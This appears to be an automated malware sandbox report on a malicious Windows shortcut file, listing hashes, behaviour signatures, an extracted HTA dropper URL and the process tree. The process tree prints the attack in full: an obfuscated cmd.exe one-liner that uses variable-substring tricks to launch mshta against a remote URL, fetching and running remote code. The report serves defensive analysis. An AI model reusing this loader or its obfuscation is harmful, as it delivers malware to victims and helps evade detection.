Analysis
- max time kernel
148s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:11
Static task
static1
Behavioral task
behavioral1
Sample
DOC-GS45RC.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-GS45RC.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-GS45RC.lnk
- Size 2KB
- Sample260803-qffl9azzbw
- SHA256 ead15a4dd3cd6cf7054139259003be03338dc6ff41969074a6bc0df994efcd1e
- MD5 48bbf595c0e38cd5762b11ee8d305712
- SHA1 9d70e97fd8e1c819fc470212c271a56180add36c
- SHA512 b9a9ce5071f11575e1fa55837d85abf5e6032fd83c5338e994b56550f990d9bfe10529681bb124983bb93f5b5e1c67376ee9253d49cba7eec00b445e6a3dc924
- TLSH T1254128903AEE01D4F3BB8E36D8FE675248BBB9664D51C65D0950C20D0422B45E876B57
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3380 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3380 wrote to memory of 5116 3380 cmd.exe 90 PID 5116 wrote to memory of 5952 5116 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GS45RC.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set Otezz=cachehqwydvudmcache&&set dwwS=logxchpgxfyymtmrsszelog&&set Uk=netmcgteanet&&set em=tmpacexrqrkouqnmzsstcttmp&&set FZ=cfgquqkmxouzxcfg&&set ap=2ibmu0&&set ULl=6f9sz&&set cw=7htaqy&&set cjSF=sysbgcxdlxoztzdcusys&&set PX=tmpjxfgayejmkktmp&&set qRkP=od7strw&&set BlKj=nu3arx30&&set re=mbti8d&&set EZj=tmptqhjbyinmvbrxdstmp&&set XKuiB=ht@tp@s://bo-pdf@f@il@[email protected]@/h@/e@sta@[email protected]@hp?@r@=3607@61F@15794&&start /b !ap:~3,1!!ULl:~3,1!!cw:~1,3! !XKuiB:@=!"2⤵
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:5952
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